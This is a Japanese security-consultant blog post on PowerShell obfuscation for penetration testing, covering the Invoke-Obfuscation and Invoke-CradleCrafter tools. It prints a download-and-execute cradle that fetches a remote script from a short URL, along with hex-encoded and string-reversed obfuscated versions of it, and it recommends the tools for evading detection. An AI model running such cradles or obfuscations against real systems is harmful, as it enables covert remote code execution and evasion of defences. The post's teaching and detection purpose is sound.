セキュリティコンサルタントの日誌から

セキュリティに関するエッセイなど

PowerShellの難読化について

PowerShellは、Post-Exploitationプロセスで非常に良く使われます。例えば、以下のコマンドを実行するとリモートにあるファイルを取得してその内容を実行してくれます。

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t") 

PowerShellの難読化技法については様々な研究がされており、いくつかツールが存在します。今回はそれを紹介します。

Invoke-Obfuscation

Invoke-Obfuscationは、任意のPowerShellコマンドを難読化してくれるツールです。

github.com

GitHubに記載されている通り、インストールします。

起動すると以下のような画面になります。

f:id:security_consultant:20171113221627p:plain

 

Tutorialコマンドをたたくと以下のように使い方を教えてくれます。

f:id:security_consultant:20171113221703p:plain

以下に、簡単な使い方を記載します。

SET SCRIPTBLOCK (PowerShell)

SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

その後、オプションを選択すると自動的に暗号化されます。

f:id:security_consultant:20171113222243p:plain

例えば、[ ENCODING ] - [2] (Hex)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

IeX(('49J6em76Y6fm6bT65Y2d%45m78m70!72%65T73;73!69m6fm6eJ2
0Y28%4eT65J77T2d;4f!62p6aT65Y63!74%20!4ep65p74J2ep57p65Y62!
43!6c;69J65m6e%74;29Y2em44T6f!77p6eT6cJ6fm61;64J53T74!72m69
%6e;67p28%22T68T74m74%70Y3am2fY2fY62;69%74Y2eY6c%79%2f;
4c;33J67%31%74Y22Y29' -sPlIT 'p'-spliT 'm'-SPlIT';' -SpLit '%' -SPliT'T'
-SplIt'!' -spLiT'J'-SpLIT'Y'|%{ ([cONvErT]::TOInT16(( [sTRINg]$_), 16 ) -
AS [chAr])})-JoiN'')

 

ほかにも、[ STRING ] - [3] (Reverse)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

Set-VAriAble khB6 (" )''nIOj-'x'+]3,1[)(gnIrTSot.ecNerEFerpeSobreV$ (.| )
63]rAHCgnIrTs[,)56]rAHC[+58]rAHC[+401]rAHC[((ecaLPEr.)'|','rAE'(ecaL
PEr.)93]rAHC
gnIrTs[,)55]rAHC[+001]rAHC[+65]rAHC[((ecaLPEr.)')7d87d
8NioJ-)}'+')]rAhc'+'['+' SA'+'- ) 61'+' ,)'+'_AU'+'h'+']gNIRT'+'s'+'[ (('+'61TnIO
T:'+':]TrEvNOc[( {%rAE7d'+'8Y7d8TIL'+'pS-7d8J'+'7d8'+'T'+'iLp'+'s- 7d8!7
d8tIlpS- 7d8T7'+'d8TilPS- 7d8%7'+'d8 '+'ti'+'LpS- 7'+'d'+'8;7d8'+'T'+'IlPS-
'+'7'+'d8'+'m'+'7d8 '+'Til'+'p'+'s-'+'7d8p7d8 TI'+'lPs- 7d'+'89'+'2Y'+'2'+'2'+'
Y47'+'%13%76J33;'+'c4;f'+'2%97%c6Ye'+'2'+'Y47%96;'+'2'+'6Yf2Yf2'+'ma
'+'3'+'Y07%47'+'m47T8'+'6'+'T22%82p76;e'+'6%96'+'m'+'2'+'7'+'!47'+'T35J
46;16mf6J'+'c6'+'T'+'e6p77!'+'f6T4'+'4me'+'2Y92;47%'+'e6m56J96;c6'+'!34
'+'!26Y56p75p'+'e2J4'+'7p'+'56pe4'+'!02%47'+'!'+'36Y56Ta6'+'p26!f4;d'+'2
T77J5'+'6Te'+'4%82Y'+'02Je6mf6m96!37'+';'+'37T5'+'6%2'+'7!07m87m54
%d2Y56Tb6mf6'+'Y67me6J947d8 ((XeI '( " ) ; [StrInG]::JOIN( '' , ( cHiLDit
EM vaRIablE:Khb6 ).valUe[-1 ..- ( ( cHiLDitEM vaRIablE:Khb6 ).valUe.len
GTH)])| &( $sHEllId[1]+$shELLid[13]+'X')

 

さらに、TEST / EXECというコマンドを打てばローカルで実行実験ができたりと非常に面白いツールです。

資料は、以下にあります。(PDF)

www.youtube.com

Invoke-CradleCrafter

Invoke-CradleCrafterは、リモートからダウンロードする際の形式の難読化に特化したツールです。使い方は同じですが、目的が特化されている分難読化の手法が増えている野で、ダウンロードする際にはコチラを利用したほうが良いかも知れません。

github.com

難読化の検知

上記のツールを作っているDaniel Bohannon氏ですが、もともとはRed Teamの検証およびBlue Teamの検証用が目的としています。その後、彼はRevoke-Obfuscationという検知用用ツールも開発しています。(Revoke-Obfuscation @ BlackHat)

github.com

最後に

ペネトレーションテストを実施する際には、検知をどのようにかいくぐるEvasion Techniqueが重要になります。ペネトレーションテストのプロセスを高度化する意味でも、本ツールを活用することを推奨します。